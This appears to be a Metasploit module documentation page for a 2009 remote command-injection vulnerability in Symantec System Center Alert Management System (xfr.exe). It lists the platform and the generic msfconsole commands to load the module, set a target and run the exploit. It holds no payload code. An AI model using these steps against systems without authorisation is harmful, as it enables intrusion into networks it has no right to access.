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Symantec System Center Alert Management System (xfr.exe) Arbitrary Command Execution

Disclosed
Apr 28, 2009
Created
May 30, 2018

Description

Symantec System Center Alert Management System is prone to a remote command-injection vulnerability
because the application fails to properly sanitize user-supplied input.

Platform

Windows

Architectures

x86

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':


msf > use exploit/windows/antivirus/ams_xfr
msf exploit(ams_xfr) > show targets
...targets...
msf exploit(ams_xfr) > set TARGET < target-id >
msf exploit(ams_xfr) > show options
...show and set options...
msf exploit(ams_xfr) > exploit

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